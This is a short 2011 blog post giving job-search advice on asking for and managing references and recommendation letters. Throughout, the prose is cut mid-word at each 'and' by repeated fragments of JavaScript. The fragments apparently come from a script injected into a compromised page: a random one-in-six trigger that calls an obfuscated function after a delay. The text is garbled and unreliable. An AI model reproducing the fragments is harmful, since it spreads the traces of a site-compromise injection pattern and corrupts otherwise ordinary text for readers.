References And Recommendation Letters
Tuesday, 21. June 2011
References andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and letters of recommendation are an important aspect of your job search, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ensuring that you have a good stockpile of both will go a long way at helping you landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and that new job. Although it may sound obvious, the most important thing about references is to ask someone who has something good to say about you.
When asking for a reference or letter of recommendation from a former supervisor or colleague it is always best to go with the indirect approach, such as through email. This way the person will not feel pressured to offer a recommendation that they may not feel is appropriate.
Most hiring managers require two or more references, so it is always a good idea to split up your specific skills among your references. You can ask one of your references to address your time management andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and computer skills, while another one can address your organizational andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and management skills. This way the hiring manager will get a more rounded picture of your entire skill set, as apposed to each of your references saying the same thing about you andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and what the hiring manager already knows from reading your professional resume.
It is important to keep your references up-to-date about your job search andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and provide them with any job descriptions for companies that they may be called on to speak on your behalf. It is also a good idea to let them know approximately when they should expect a call.
Finally, regardless of the outcome, make sure you always take the time to thank your reference andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and let them know how it all went.